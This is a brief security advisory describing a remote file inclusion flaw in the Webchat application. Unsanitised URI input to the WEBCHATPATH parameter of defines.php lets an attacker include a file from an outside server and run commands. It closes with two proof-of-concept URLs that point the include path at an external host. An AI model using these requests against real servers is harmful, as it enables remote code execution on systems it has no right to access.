source: http://www.securityfocus.com/bid/7000/info

Webchat is prone to an issue that may allow remote attackers to include files located on attacker-controlled servers.

This vulnerability is as a result of insufficient sanitization performed on remote user-supplied data. Under some circumstances, it is possible for remote attackers to influence the path for certain include files to point to an external file by manipulating URI parameters.

If the remote file is a malicious file, this may be exploited to execute arbitrary system commands in the context of the web server.

http://www.example.com/defines.php?WEBCHATPATH=http://www.target.com/db_mysql.php http://www.example.com/defines.php?WEBCHATPATH=http://www.target.com/language/english.php